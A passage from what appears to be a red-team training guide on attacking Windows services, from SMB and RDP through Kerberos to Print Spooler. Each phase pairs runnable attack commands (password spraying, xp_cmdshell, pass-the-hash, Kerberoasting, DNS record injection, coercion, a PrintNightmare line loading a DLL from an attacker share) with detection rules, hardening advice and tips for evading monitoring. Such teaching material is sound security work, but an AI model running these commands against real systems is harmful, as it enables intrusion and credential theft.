enum4linux-ng -A 10.10.10.10

# RPC null session — enumerate domain users via named pipe
rpcclient -U '' -N 10.10.10.10 -c "enumdomusers"

Why: SMB exposes enormous attack surface even when patched — null sessions, SYSVOL credential scraping, and coercion attacks (see AI7 for full NTLM relay chain) are all possible via port 445 on a default Windows installation.

Common Misconfigurations:

• SMB signing disabled → NTLM relay attacks (see AI7 for full relay chain)
• Null sessions allowed → unauthenticated enumeration of users, groups, shares
• SYSVOL GPO scripts with credentials → plaintext cred exposure
• SMBv1 enabled → EternalBlue (MS17-010) exploitation
• Named pipes accessible anonymously → info disclosure via IPC$

Defender Block:

• Event IDs: 4624 Logon Type 3 (successful net logon), 4625 Logon Type 3 (failed net logon), 5140 (network share accessed), 5145 (network share object access check), 7045 (new service installed — possible PsExec/lateral movement)
• Sigma hint: EID 5145 with ObjectType matching \*\IPC$ AND SubjectUserName ANONYMOUS LOGON → null session activity
• Hardening: Set-SmbServerConfiguration -RequireSecuritySignature $true -EnableSMB1Protocol $false, set registry HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\RestrictNullSessAccess = 1, block TCP 445/139 inbound at perimeter firewall

OPSEC: enum4linux-ng and nxc subnet sweeps generate a burst of EID 4624/5140 events — detectable by volume alone. In monitored environments, use targeted smbclient -L or rpcclient single-host queries. SMB signing check via nxc smb --gen-relay-list is low-noise — just checking the handshake flag.

Phase 2 — RDP (TCP 3389)

RDP (Remote Desktop Protocol) is the primary remote GUI administration channel for Windows. It is heavily targeted for credential spray, session hijacking, and exploitation of NLA-disabled hosts. A single exposed RDP port on the internet is one of the most common ransomware initial access vectors.

# Fingerprint RDP — version, NLA status, certificate info
nmap -p 3389 --script rdp-enum-encryption,rdp-vuln-ms12-020 10.10.10.10

# Identify RDP-enabled hosts and check NLA enforcement
nxc rdp 10.10.10.0/24

# Password spray RDP — use low-and-slow rate to avoid lockout
# hydra -L users.txt -P passwords.txt rdp://10.10.10.10 -t 1 -W 3

# Session hijacking (requires SYSTEM on target) — list and steal active sessions
query session /server:10.10.10.10          # list sessions
tscon <session_id> /dest:<your_session>    # steal without creds if SYSTEM

# Accessibility backdoor — replace sethc.exe or utilman.exe with cmd.exe (pre-auth SYSTEM shell)
# Requires write access to C:\Windows\System32\ or image mounting

Why: RDP is both a rich attack surface and a critical detection signal — every logon Type 10 is logged. Session hijacking via tscon requires no password once you have SYSTEM. NLA-disabled hosts are directly vulnerable to pre-auth exploits and BlueKeep.

Common Misconfigurations:

• NLA disabled → pre-authentication vulnerability exposure (BlueKeep CVE-2019-0708, DejaBlue)
• RDP internet-exposed with weak passwords → spray and brute force primary ransomware initial access
• Accessibility backdoor (sethc.exe/utilman.exe swap) → pre-auth SYSTEM shell via Sticky Keys
• Session hijack via tscon → steal active admin sessions without credentials (SYSTEM required)
• No RDP Gateway / firewall restriction → direct internet attack surface

Defender Block:

• Event IDs: 4624 Logon Type 10 (RemoteInteractive — successful RDP logon), 4625 Logon Type 10 (failed RDP attempt), 4778 (session reconnected), 4779 (session disconnected), 1149 (TerminalServices pre-auth connection in Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational)
• Sigma hint: EID 1149 from non-RFC1918 source IP + burst of 4625 Type 10 within 60 seconds = RDP spray in progress
• Hardening: Enable NLA (Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name "UserAuthentication" -Value 1), restrict via firewall to VPN/jump host only, deploy RDP Gateway for external access, apply KB4499175 (BlueKeep patch), enforce tiered admin model — no DA accounts logging into workstations

OPSEC: Every successful RDP logon generates EID 4624 Type 10 — highly visible and always logged. Session hijacking via tscon requires SYSTEM-level access first and generates no new logon event (you're stealing an existing session). BlueKeep exploit can BSOD the target on failure — never attempt against live production systems.

Phase 3 — WinRM / WMI (TCP 5985, 5986, 135)

WinRM (Windows Remote Management) provides PowerShell remoting over HTTP/HTTPS. WMI (Windows Management Instrumentation) on port 135 enables remote process execution and management queries. Both are legitimate admin channels abused heavily for lateral movement.

# Identify WinRM-enabled hosts across subnet
nxc winrm 10.10.10.0/24

# Interactive shell via WinRM (requires valid credentials)
evil-winrm -i 10.10.10.10 -u user -p 'Password1'

# PS remoting — run command on remote host
Invoke-Command -ComputerName target.domain.local -ScriptBlock { whoami; hostname }

# WMI lateral movement — remote process creation (no interactive shell)
Invoke-WmiMethod -Class Win32_Process -Name Create \
  -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" \
  -ComputerName 10.10.10.10

# Linux-side WMI execution via Impacket
impacket-wmiexec domain/user:Password1@10.10.10.10 'whoami'

# Pass-the-hash WMI execution
impacket-wmiexec -hashes :NTLMhash domain/user@10.10.10.10 'whoami'

Why: WinRM and WMI are built-in remote execution channels — no extra tools needed on the target. evil-winrm gives a full interactive shell. WMI method invocation is quieter than named-pipe-based tools (PsExec, smbexec) but still generates 4688 events. See AI4 for WMI subscription persistence.

Common Misconfigurations:

• WinRM enabled on workstations → should be servers/admins only
• No HTTPS enforcement → port 5985 transmits commands in plaintext
• Domain Users in WinRM access group → over-permissive; should be restricted to admins
• WMI subscriptions for persistence → see AI4 for persistence via WMI event subscriptions
• No PowerShell Script Block Logging → execution is invisible beyond process name

Defender Block:

• Event IDs: 4688 with wsmprovhost.exe as new process (PS remoting execution), 4648 (explicit credentials used for WinRM), 91 in Microsoft-Windows-WinRM/Operational (WSMan connection established), 4103/4104 (PS Module/Script Block logging — if enabled)
• Sigma hint: EID 4688 with NewProcessName = wsmprovhost.exe spawned from unexpected parent or outside business hours = PS remoting lateral movement
• Hardening: Enable PowerShell Script Block Logging + Transcription (GPO), enforce HTTPS-only WinRM (winrm set winrm/config/listener?Address=*+Transport=HTTPS), restrict WinRM access to admin jump hosts via firewall, disable WinRM on workstations (Disable-PSRemoting -Force)

OPSEC: PS remoting creates a wsmprovhost.exe process on the target — logged at EID 4688 even without Script Block Logging. impacket-wmiexec spawns a cmd.exe child under WMI. Invoke-WmiMethod is slightly quieter — no interactive wsmprovhost shell — but still logged. Use targeted single-host execution; subnet-wide WMI scanning is loud.

Phase 4 — MSSQL (TCP 1433)

Microsoft SQL Server is commonly deployed with excessive privileges — running as SYSTEM or a domain service account, with xp_cmdshell enabled or easily re-enabled. A compromised MSSQL instance frequently leads to OS-level code execution or lateral movement via linked servers.

# Fingerprint MSSQL — version, instance name, check xp_cmdshell, empty SA password
nmap -sV -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell 10.10.10.10

# Sweep for MSSQL hosts, test SA with blank password
nxc mssql 10.10.10.0/24 -u sa -p '' --local-auth

# Interactive SQL session via Impacket (Windows auth)
impacket-mssqlclient domain/user:Password1@10.10.10.10 -windows-auth

# Once connected: get version, enable and use xp_cmdshell
SELECT @@version;
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

# Linked server lateral movement — execute commands on a linked SQL server
EXEC ('xp_cmdshell ''whoami''') AT [linkedserver\instance]

# Token impersonation — escalate to SA if IMPERSONATE privilege exists
SELECT distinct b.name FROM sys.server_permissions a
  JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
  WHERE a.permission_name = 'IMPERSONATE';
EXECUTE AS LOGIN = 'sa'; EXEC xp_cmdshell 'whoami';

Why: MSSQL's xp_cmdshell is a direct OS command execution gateway. Even when disabled, any user with ALTER SETTINGS permission can re-enable it. Linked server chains allow lateral movement between SQL instances without needing separate credentials — a single compromised SQL account can traverse the whole SQL topology.

Common Misconfigurations:

• xp_cmdshell enabled → direct OS command execution via SQL
• SA account with blank/default password → instant admin access
• MSSQL running as SYSTEM or Domain Admin → full OS/domain takeover from SQL shell
• Linked servers with delegation → lateral movement across SQL instances
• Excessive PUBLIC role permissions → non-admin users can execute dangerous procedures

Defender Block:

• Event IDs: 33205 (SQL Server Audit — successful audit event), 33206 (SQL Server Audit — failed audit event), 4688 with ParentProcessName = sqlservr.exe (child process spawned via xp_cmdshell — confirms OS command execution)
• Sigma hint: EID 4688 with ParentProcessName = sqlservr.exe AND NewProcessName = cmd.exe or powershell.exe = xp_cmdshell execution in progress
• Hardening: EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; — disable xp_cmdshell, run MSSQL as low-privilege service account (not SYSTEM), enable SQL Server Audit, clear SA blank password, review linked server permissions and delegation settings

OPSEC: xp_cmdshell spawns cmd.exe as a direct child of sqlservr.exe — this parent-child relationship is trivially detected by EDR and SIEM. In monitored environments, prefer CLR assemblies or OLE Automation Procedures as quieter execution alternatives. Always check if xp_cmdshell is already enabled before trying to re-enable it — sp_configure changes are audited.

Phase 5 — IIS / HTTP(S) (TCP 80, 443)

IIS (Internet Information Services) is Microsoft's web server. Common on internal networks hosting portals, APIs, and management interfaces. Misconfigurations — WebDAV, excessive app pool identity permissions, or loose upload endpoints — frequently lead to initial access or lateral movement.

# Fingerprint IIS version, enabled modules, and headers
nmap -sV -p 80,443,8080 --script http-methods,http-webdav-scan,http-iis-webdav-vuln 10.10.10.10
whatweb http://10.10.10.10           # identify IIS version, ASP.NET version, server headers

# Directory enumeration
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -x asp,aspx,html

# WebDAV capability check — look for PUT/DELETE in Allow header
curl -s -X OPTIONS http://10.10.10.10/ -v 2>&1 | grep -i allow

# Test WebDAV file upload capability (creates and deletes test files)
davtest -url http://10.10.10.10

# Interactive WebDAV client — browse, upload, and download files
cadaver http://10.10.10.10

Why: WebDAV with write access allows direct file upload to the web root — a one-step path to web shell placement and RCE. Even without WebDAV, discovering the app pool identity's privilege level (SYSTEM, Network Service, or domain account) determines what OS access a web shell provides.

Common Misconfigurations:

• WebDAV enabled with write access → arbitrary file upload → web shell → RCE
• App pool running as SYSTEM or domain account → elevated OS access from web shell
• Default IIS welcome page not removed → confirms IIS version, aids fingerprinting
• Directory listing enabled → exposes file structure without authentication
• ASP.NET debug mode or verbose errors → stack traces, connection strings, internal paths leaked
• PUT method allowed on upload endpoints → direct file write without WebDAV

Defender Block:

• Event IDs: 4688 with ParentProcessName = w3wp.exe (IIS worker process spawning child = web shell execution), IIS access logs at C:\inetpub\logs\LogFiles\W3SVC* (check for PUT/POST to unusual paths), 4663 (object access audit on web root directory — requires SACL)
• Sigma hint: EID 4688 with ParentProcessName = w3wp.exe AND NewProcessName matching cmd.exe, powershell.exe, or certutil.exe = active web shell exploitation
• Hardening: Disable WebDAV if not required (Remove-WindowsFeature Web-DAV-Publishing), run app pools as dedicated least-privilege service accounts, suppress server version headers (requestFiltering/removeServerHeader), enable Failed Request Tracing, deploy WAF for external-facing IIS

OPSEC: Web shell execution creates child processes of w3wp.exe — the parent-child relationship is a high-fidelity EDR detection signal. LOLBin usage (certutil, bitsadmin, msiexec) is slightly less noisy than dropping and running cmd.exe directly. Any PUT request to the web root should be treated as a critical alert.

Phase 6 — DNS (TCP/UDP 53)

DNS is the backbone of Active Directory — every DC lookup, service discovery, and Kerberos ticket request depends on it. Zone transfer misconfigs expose the full network map. ADIDNS integration allows authenticated users to register arbitrary DNS records by default, enabling DNS poisoning for NTLM relay.

# Zone transfer attempt — dumps all DNS records if misconfigured
dig axfr domain.local @10.10.10.10
nmap -sU -p 53 --script dns-zone-transfer --script-args dns-zone-transfer.domain=domain.local 10.10.10.10

# Subdomain brute force via DNS
gobuster dns -d domain.local -r 10.10.10.10 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# ADIDNS record injection — register attacker IP to redirect traffic (if write access exists)
# Using dnstool.py (from krbrelayx toolset)
python3 dnstool.py -u 'domain\user' -p Password1 \
  --action add --record attacker --data 10.10.10.99 --type A dc.domain.local

# Using PowerMad (from Windows host)
Invoke-DNSUpdate -DNSName attacker -DNSData 10.10.10.99

Why: Zone transfers expose the complete DNS zone — hostnames, IPs, internal network topology — in a single unauthenticated request if misconfigured. ADIDNS write access (default for Authenticated Users in many domains) lets an attacker register a DNS record pointing any name to their IP, then use Responder or ntlmrelayx to capture/relay credentials when clients resolve that name. See AI5 Phase 1 for full DNS SRV record enumeration workflow.

Common Misconfigurations:

• Zone transfers allowed from any IP → full DNS map exposed unauthenticated
• ADIDNS write access for Authenticated Users → DNS poisoning for NTLM capture/relay (see AI7)
• Wildcard DNS entries → mask hostname typos, interfere with tooling
• Recursive DNS resolvers accessible externally → DNS amplification reflection

Defender Block:

• Event IDs: 770 (DNS zone transfer request received), 771 (DNS zone transfer request denied — in Microsoft-Windows-DNS-Server/Audit), DNS debug logging enables full query/response capture (enable via DNS Manager → Debug Logging on each DNS server)
• Sigma hint: EID 770 from any IP that is not a known secondary DNS server = unauthorized zone transfer attempt; alert immediately
• Hardening: Restrict zone transfers to known secondary NS IPs only (Set-DnsServerPrimaryZone -Name domain.local -SecondaryServers @('10.10.10.2') -SecureSecondaries TransferToSecureServers), audit ADIDNS ACLs (Get-DnsServerZone domain.local | Get-Acl), remove Authenticated Users write permission from DNS zones, enable DNS debug logging in production environments

OPSEC: Zone transfers generate EID 770/771 — immediate detection signal. ADIDNS record creation writes to the AD DNS object and is visible in object audit logs if enabled. DNS subdomain brute-forcing generates high query volume detectable by DNS query rate analytics or behavioral baselines.

Phase 7 — LDAP / LDAPS (TCP 389, 636, 3268, 3269)

LDAP (Lightweight Directory Access Protocol) is the query layer for Active Directory — every user lookup, group membership check, and computer account query uses LDAP. Port 389 is plaintext, 636 is LDAPS (TLS), 3268/3269 are the Global Catalog ports. Anonymous binds and unsigned LDAP relay are the primary attack vectors.

# Test for anonymous bind — does the DC respond to unauthenticated LDAP?
ldapsearch -x -H ldap://10.10.10.10 -b '' -s base '(objectclass=*)' namingContexts

# Enumerate users via anonymous LDAP bind (if anonymous bind allowed)
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=domain,DC=local' '(objectClass=user)' sAMAccountName

# Dump domain info if anonymous bind works
ldapdomaindump -u '' -p '' ldap://10.10.10.10 -o /tmp/ldap_dump

# Authenticated LDAP query — full domain user list
ldapsearch -x -H ldap://10.10.10.10 -D 'user@domain.local' -w 'Password1' \
  -b 'DC=domain,DC=local' '(objectClass=user)' sAMAccountName userPrincipalName

# LDAP signing test — does the DC allow unsigned binds?
python3 ldap-scanner.py 10.10.10.10   # or use ldap_relay_scan

Why: Anonymous LDAP binds allow unauthenticated enumeration of users, groups, computers, and GPOs — a massive information leak on legacy or misconfigured DCs. Unsigned LDAP opens the relay attack path: see AI5 Phase 2 for the full unauthenticated LDAP/SMB/MSRPC enumeration workflow, and AI7 for LDAP relay chains.

Common Misconfigurations:

• Anonymous bind enabled → unauthenticated user/group/computer enumeration
• Unsigned LDAP allowed → LDAP relay vector (NTLM challenge can be relayed to LDAP for account modification)
• LDAPS not enforced → credentials transmitted in plaintext on port 389 in transit
• LDAP referrals → can leak internal topology to querying clients

Defender Block:

• Event IDs: 2889 (unsigned LDAP bind performed — critical, enable via Domain Controller: LDAP server signing requirements = Require signing), 2886 (DC does not require LDAP signing — configuration warning), 2888 (LDAP client performed unsigned bind — client-side warning), 4624 Logon Type 3 with Username ANONYMOUS LOGON (anonymous LDAP bind event)
• Sigma hint: Any occurrence of EID 2889 = an unsigned LDAP bind happened; should be zero in a hardened environment — alert on every single occurrence
• Hardening: Set Domain Controller: LDAP server signing requirements = Require signing via GPO, enable LDAP Channel Binding (Domain controller: LDAP server channel binding token requirements = Always), disable anonymous LDAP bind (set dsHeuristics bit 7 to 0), enforce LDAPS-only where possible

OPSEC: Anonymous LDAP binds generate EID 4624 ANONYMOUS LOGON — common in legacy environments but visible. Authenticated LDAP queries blend into normal AD traffic, but high-volume queries (ldapdomaindump runs ~1,000+ queries) create anomalous query spikes detectable by LDAP query rate monitoring.

Cross-reference: AI5 Phase 2 has the full unauthenticated LDAP/SMB/MSRPC enumeration workflow.

Phase 8 — Kerberos (TCP/UDP 88)

Kerberos is the primary authentication protocol in Active Directory — ticket-based, no password retransmission. Port 88 handles TGT and TGS requests. It is one of the most attack-rich protocols in an AD environment. This phase is a quick-reference summary — full attack chains, delegation abuse, and ticket forgery are covered in AI6.

# AS-REP Roasting — request TGTs for accounts with pre-auth disabled
GetNPUsers.py domain/ -usersfile users.txt -format hashcat -outputfile asrep.hashes
GetNPUsers.py domain/user:Password1 -request -format hashcat   # authenticated sweep

# Kerberoasting — request TGS tickets for accounts with SPNs, crack offline
GetUserSPNs.py domain/user:Password1 -request -format hashcat -outputfile kerberoast.hashes

# From Windows (Rubeus)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.hashes
Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast.hashes

Why: AS-REP roasting targets accounts with pre-authentication disabled — no credentials required. Kerberoasting targets service accounts with SPNs and requests their TGS tickets as any authenticated user — the ticket is encrypted with the service account's password hash, crackable offline. Both attacks leave minimal footprints at the time of execution but are detectable via Event IDs.

Attack Path Summary (quick-reference — see AI6 for full chains):

• AS-REP Roasting → crack offline → plaintext password
• Kerberoasting → crack TGS offline → service account plaintext
• Unconstrained Delegation → coerce DC authentication → capture TGT → pass-the-ticket
• Constrained Delegation (S4U2Proxy) → forge service tickets for specific targets
• RBCD (Resource-Based Constrained Delegation) → write msDS-AllowedToActOnBehalfOfOtherIdentity → full impersonation
• Pass-the-Ticket / Overpass-the-Hash → inject existing tickets into session
• Golden Ticket → forge TGTs using krbtgt hash — persistent domain access
• Silver Ticket → forge TGS using service account hash — access specific service

Full Kerberos attack chains (delegation abuse, pass-the-ticket, golden/silver ticket, and PKINIT) are covered in AI6.

Defender Block:

• Event IDs: 4768 (TGT request — monitor for EncryptionType 0x17 = RC4, indicates AS-REP or weak encryption), 4769 (TGS request — EncryptionType 0x17 = RC4 = Kerberoast target service account), 4771 (Kerberos pre-auth failure — AS-REP roasting attempts), 4672 (special privileges assigned at logon — possible golden ticket use: DC-level logon with suspicious privilege set)
• Sigma hint: EID 4769 with TicketEncryptionType = 0x17 (RC4) AND ServiceName not equal to krbtgt = Kerberoasting request; burst of these = mass Kerberoast sweep
• Hardening: Set msDS-SupportedEncryptionTypes to AES-only on all service accounts (removes RC4 fallback), require pre-authentication on all user accounts, use Group Managed Service Accounts (gMSA) for service accounts, audit SPNs regularly for stale or unnecessary entries

OPSEC: Kerberoasting generates EID 4769 per SPN queried — requesting many TGS tickets in a short window is the primary detection signal. AS-REP roasting generates EID 4768/4771. Golden tickets bypass the DC entirely — no logon events generated on the DC itself, making real-time detection extremely difficult without behavioral analytics.

Phase 9 — MSRPC / RPC (TCP 135, dynamic 49152–65535)

MSRPC (Microsoft Remote Procedure Call) is the foundational transport layer for Windows distributed services — DCOM, WMI, scheduled tasks, print spooler, and many more all communicate over dynamic RPC ports. Port 135 is the endpoint mapper. Enumerating registered endpoints exposes the full attack surface, and several RPC interfaces enable forced authentication coercion.

# Enumerate registered RPC endpoints via endpoint mapper
impacket-rpcdump @10.10.10.10

# Find Print Spooler (MS-RPRN) — coercion target — and other high-value interfaces
impacket-rpcdump @10.10.10.10 | grep -i 'MS-RPRN\|MS-PAR\|MS-DFSNM\|MS-EFSR'

# Null session via RPC — enumerate domain users (see AI5 Phase 2 for full workflow)
rpcclient -U '' -N 10.10.10.10 -c "enumdomusers; enumdomgroups"

# DCOM lateral movement via Impacket
impacket-dcomexec domain/user:Password1@10.10.10.10 'whoami'

# Mass coercion — attempt all known coercion vectors against target
Coercer -u user -p Password1 -d domain.local -t 10.10.10.10 -l 10.10.10.99

Why: RPC endpoint enumeration reveals which services are listening on the target and which coercion vectors are available. MS-RPRN (Print Spooler) on a Domain Controller is the most high-value finding — it forces DC-to-attacker authentication on command, enabling NTLM relay or credential capture (see AI7). See AI5 Phase 2 for the null session RPC enumeration workflow.

Common Misconfigurations:

• Print Spooler enabled on DCs → MS-RPRN coercion → forced DC NTLM authentication to attacker (see AI7 for relay)
• DCOM enabled without access controls → lateral movement via DCOM execution
• TCP 135 accessible from untrusted networks → endpoint mapper queries from internet
• Null sessions via RPC allowed → user/group enumeration (see AI5 Phase 2)

Defender Block:

• Event IDs: 4688 (DCOM-spawned child processes — process creation under DCOM host), 10016 in Microsoft-Windows-DistributedCOM (DCOM permission error — indicates attempted DCOM instantiation without permission), 4624 (authentication events from RPC/DCOM operations), Windows Firewall logs for inbound TCP 135 from unexpected sources
• Sigma hint: EID 10016 with ProcessName containing unexpected applications or from unusual source IPs = DCOM abuse attempt; 4688 with ParentProcessName = mmc.exe or svchost.exe (DCOM host) spawning shells
• Hardening: Disable Print Spooler on all DCs and non-print servers (Stop-Service Spooler; Set-Service Spooler -StartupType Disabled), restrict DCOM permissions via DCOMCNFG (Component Services), block TCP 135 at perimeter firewall, disable null sessions via RPC (RestrictAnonymous = 1)

OPSEC: impacket-rpcdump against a DC generates normal-looking RPC traffic — very low signal on its own. Coercion via MS-RPRN forces the DC to authenticate outward to the attacker — the event (EID 4624) appears on the attacker's system, not the DC, making it difficult to detect from the DC side alone. DCOM execution creates child processes under DCOM host — higher signal than WMI.

Phase 10 — SNMP (UDP 161, 162)

SNMP (Simple Network Management Protocol) is a monitoring and management protocol running over UDP. When enabled on Windows hosts with default community strings, it exposes the full system profile — running processes, installed software, network interfaces, routing tables, and open connections — without authentication.

# SNMP host discovery and basic info
nmap -sU -p 161 --script snmp-info,snmp-sysdescr 10.10.10.0/24

# Community string brute force
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt \
  -i hosts.txt

# Full MIB walk with default 'public' community string
snmpwalk -v2c -c public 10.10.10.10

# Enumerate running processes via SNMP MIB
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.25.4.2.1.2

# Enumerate installed software via SNMP MIB
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.25.6.3.1.2

# Enumerate network interfaces and routing
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.2.2.1.2   # interface names
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.4.21        # routing table

Why: SNMP with the default public community string gives unauthenticated read access to the full system MIB — running processes, installed software, network config, and ARP cache. This provides rich recon data (identify security tools, find internal subnets, enumerate installed services) with a single UDP connection. SNMPv1/v2c transmit community strings in plaintext — capturable on the wire.

Common Misconfigurations:

• Default public/private community strings → unauthenticated full system access
• SNMPv1/v2c instead of SNMPv3 → no authentication or encryption — community string transmitted in plaintext
• SNMP enabled on all Windows hosts → exposes process list, installed software, and network config
• Write-enabled community string → potential configuration change (rare but possible)

Defender Block:

• Note: SNMP queries use stateless UDP — there are no native Windows Event IDs for SNMP queries by default
• Detection: Network IDS/IPS rules for high-volume SNMP from a single source, NetFlow/packet capture analysis for UDP 161 sweeps across subnet
• Sigma hint (Suricata/Snort): alert udp any any -> $HOME_NET 161 (msg:"SNMP community string brute force"; threshold: type both, track by_src, count 20, seconds 10; sid:1000001;) — detect rapid SNMP queries from single source
• Hardening: Disable SNMP service if not required (Stop-Service SNMP; Set-Service SNMP -StartupType Disabled), upgrade to SNMPv3 (authentication + encryption), change all default community strings, restrict SNMP access to monitoring systems via Windows Firewall ACL

OPSEC: SNMP MIB walks are UDP — no TCP handshake, no connection log entry, no Windows Event ID. Difficult to detect without network-layer visibility (flow data, IDS). However, a full MIB walk to a host that doesn't normally receive SNMP queries is anomalous on a flow collector baseline. If SNMPv3 is deployed, community string attacks are not applicable.

Phase 11 — FTP / TFTP (TCP 21, UDP 69)

FTP (File Transfer Protocol) and TFTP (Trivial FTP) are legacy file transfer services still common on Windows — IIS ships with an FTP role, and TFTP is used for PXE booting and network device management. Both services frequently have anonymous access enabled and transmit credentials in cleartext.

# Fingerprint FTP — anonymous login, banner, OS, bounce potential
nmap -sV -p 21 --script ftp-anon,ftp-bounce,ftp-syst,ftp-brute 10.10.10.10

# Manual anonymous FTP login attempt
ftp 10.10.10.10
# When prompted: Username: anonymous  Password: anonymous@domain.com

# Sweep for anonymous FTP across subnet
nxc ftp 10.10.10.0/24 -u anonymous -p anonymous

# TFTP enumeration — no authentication, try common filenames
nmap -sU -p 69 --script tftp-enum 10.10.10.10

# Manual TFTP — attempt to pull common sensitive files
tftp 10.10.10.10
# tftp> get SAM
# tftp> get NTDS.dit
# tftp> get config.xml

# FTP credential sniffing (if on same network segment / performing MitM)
# Wireshark: filter "tcp.port == 21" — FTP USER and PASS commands are plaintext

Why: Anonymous FTP provides unauthenticated file read/write to whatever directory the FTP root points to — if misconfigured to overlap with a web root or sensitive share, this is a direct path to credential files or code execution. TFTP's complete lack of authentication makes it trivially abusable for grabbing any file by name if enabled.

Common Misconfigurations:

• Anonymous FTP login enabled → unauthenticated file access to FTP root directory
• FTP root pointed at sensitive directories → direct access to web root, configuration files, or credentials
• TFTP enabled without authentication → any file accessible by name with no auth required
• FTP over plaintext (no FTPS) → credentials transmitted in cleartext — capturable on the wire
• IIS FTP with weak credentials → brute-forceable with no lockout by default

Defender Block:

• Event IDs: 4624 Logon Type 3 (FTP authentication via Windows auth), 4625 Logon Type 3 (failed FTP auth), IIS FTP logs at C:\inetpub\logs\LogFiles\FTPSVC* (full request/response logging), 4663 (file access audit on FTP root if SACL configured)
• Sigma hint: EID 4624 Logon Type 3 with SubjectUserName anonymous or ftp + subsequent 4663 file access events from FTP root path = anonymous FTP access and file retrieval
• Hardening: Disable FTP/TFTP if not required (Remove-WindowsFeature Web-Ftp-Server), enforce FTPS (explicit TLS via STARTTLS on port 21, or implicit TLS on port 990), disable anonymous login, use SFTP (SSH) as a modern alternative, isolate FTP root from system/sensitive directories

OPSEC: Anonymous FTP login generates EID 4624 Logon Type 3 with ANONYMOUS LOGON — same as null session SMB, easily detected. TFTP is UDP with no authentication events whatsoever — completely invisible in Windows event logs, only detectable at the network layer (packet capture or flow analysis).

Phase 12 — Print Spooler (TCP 445 / RPC)

The Print Spooler service (spoolsv.exe) runs on all Windows systems by default. It is exposed via SMB named pipes and RPC interfaces (MS-RPRN, MS-PAR). It is one of the most consequential Windows services from an attack perspective: PrintNightmare enables SYSTEM-level RCE, and MS-RPRN coercion forces Domain Controllers to authenticate outbound on command — a prerequisite for many NTLM relay and Kerberos delegation attacks.

# Confirm Print Spooler is running on target
Get-Service Spooler
sc query spooler
nxc smb 10.10.10.10 -u user -p Password1 -M spooler   # via CME module

# Confirm MS-RPRN is exposed via RPC endpoint mapper
impacket-rpcdump @10.10.10.10 | grep -i 'MS-RPRN\|spooler'

# MS-RPRN coercion — force target to authenticate to attacker (combine with Responder/ntlmrelayx)
# printerbug.py (from dirkjanm/krbrelayx)
python3 printerbug.py domain/user:Password1@10.10.10.10 10.10.10.99

# Coercer — sweeps all known coercion vectors including MS-RPRN
Coercer -u user -p Password1 -d domain.local -t 10.10.10.10 -l 10.10.10.99

# PrintNightmare RCE — requires unpatched target (CVE-2021-1675 / CVE-2021-34527)
# Confirm spooler active and MS-RPRN accessible first
impacket-rpcdump @10.10.10.10 | grep 'MS-RPRN'
python3 CVE-2021-1675.py domain/user:Password1@10.10.10.10 '\\10.10.10.99\share\evil.dll'

Why: MS-RPRN coercion does NOT require PrintNightmare to be unpatched — any Windows host running the Print Spooler with port 445 reachable is susceptible to forced authentication. When the DC is coerced, it authenticates to the attacker as the DC's machine account — which can be relayed to LDAP to add a RBCD entry or to other services for lateral movement. See AI7 for the full coercion → relay chain.

Common Misconfigurations:

• Print Spooler enabled on Domain Controllers → MS-RPRN coercion → forced DC authentication → NTLM relay or Kerberos delegation abuse (see AI7)
• Print Spooler enabled on non-print servers → unnecessary attack surface
• Unrestricted Point-and-Print policy → non-admin users can install print drivers → PrintNightmare privilege escalation path
• No KB5005652 patch applied → PrintNightmare (CVE-2021-34527) unpatched

Defender Block:

• Event IDs: 316 in Microsoft-Windows-PrintService/Admin (Print Spooler loaded a plug-in — critical: monitor for unexpected PluginDll paths), 808 in Microsoft-Windows-PrintService/Admin (Spooler RPC connection accepted), 7031 in System log (Print Spooler service terminated unexpectedly — possible exploit crash), 4688 with ParentProcessName = spoolsv.exe (process spawned by spooler — PrintNightmare/SpoolFool indicator)
• Sigma hint: EID 316 with PluginDll path not matching known printer driver directories (C:\Windows\System32\spool\DRIVERS\*) = malicious driver installation via PrintNightmare; 4688 with ParentProcessName = spoolsv.exe spawning cmd.exe or powershell.exe = active exploitation
• Hardening: Disable Print Spooler on all DCs and non-print servers (Stop-Service Spooler; Set-Service Spooler -StartupType Disabled), apply KB5005652 (PrintNightmare patch), set Point-and-Print restrictions to only approved print servers via GPO (Computer Configuration → Policies → Administrative Templates → Printers → Point and Print Restrictions), block outbound SMB from DCs to non-DC hosts at the perimeter

OPSEC: MS-RPRN coercion is quiet from the target's perspective — the DC simply makes an outbound SMB connection that gets logged on the attacker's system (EID 4624), not the DC. PrintNightmare exploitation generates EID 316 with a suspicious DLL path — loud and detectable. Coercion-only attacks (no PrintNightmare) leave minimal trace on the target beyond the outbound connection.

Resources

Ranked View — Best Repositories by Skill Level

Curated Windows Repository Comparison

Recommended Mapping to This Article

Part of the [Red Teaming 101](0 README.md) series.

Appendix — Attack vector catalog (from former 2.1)

2.1 Windows Active Directory — Attack Vectors & Paths

Scope: This document covers how attackers identify, enumerate, and abuse misconfigurations and design weaknesses in Windows Active Directory environments. Each section follows the pattern: What it is → How attackers spot it → How they abuse it.

Table of Contents

1. Reconnaissance & Enumeration
2. Credential-Based Attacks
3. Kerberos Abuse
4. ACL / ACE Abuse
5. Active Directory Certificate Services (AD CS)
6. Group Policy Abuse
7. Lateral Movement via Windows Services
8. Domain Persistence
9. Trust Relationship Abuse
10. Common Attack Chains (Full Paths)

1. Reconnaissance & Enumeration

What It Is

Before attacking, adversaries need to understand the AD environment — domain structure, users, groups, computers, GPOs, trusts, and service accounts.

